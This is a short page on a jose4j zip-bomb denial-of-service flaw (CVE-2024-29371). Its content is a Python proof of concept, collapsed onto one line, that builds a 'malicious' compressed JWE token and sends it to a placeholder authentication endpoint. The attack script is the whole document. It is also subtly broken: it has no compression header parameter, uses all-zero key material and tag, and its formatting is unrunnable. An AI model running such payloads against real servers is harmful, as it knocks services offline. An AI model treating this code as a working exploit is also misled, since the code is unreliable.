CVE-2024-29371: jose4j Zip Bomb拒绝服务漏洞

import base64 import zlib # Create a high compression ratio payload (Zip Bomb) # This creates data that expands significantly when decompressed def create_zip_bomb_payload(): # Create highly compressible data pattern # This pattern compresses extremely well payload = (b'A' * 1000) * 100 # 100KB of repeated 'A' characters # Compress the payload compressed = zlib.compress(payload, level=9) # Create JWE token structure header = base64.urlsafe_b64encode(b'{"alg":"A128KW","enc":"A128GCM"}') encrypted_key = base64.urlsafe_b64encode(b'0' * 16) iv = base64.urlsafe_b64encode(b'0' * 12) ciphertext = base64.urlsafe_b64encode(compressed) auth_tag = base64.urlsafe_b64encode(b'0' * 16) # JWE Compact Serialization format jwe_token = f"{header.decode()}.{encrypted_key.decode()}.{iv.decode()}.{ciphertext.decode()}.{auth_tag.decode()}" return jwe_token # Example: Generate malicious JWE token malicious_token = create_zip_bomb_payload() print(f"Generated malicious JWE token: {malicious_token[:100]}...") print(f"Token length: {len(malicious_token)} bytes") # Send to vulnerable jose4j endpoint import requests target_url = "http://target-server/api/auth/validate" response = requests.post(target_url, data=malicious_token, headers={"Content-Type": "application/jwt"})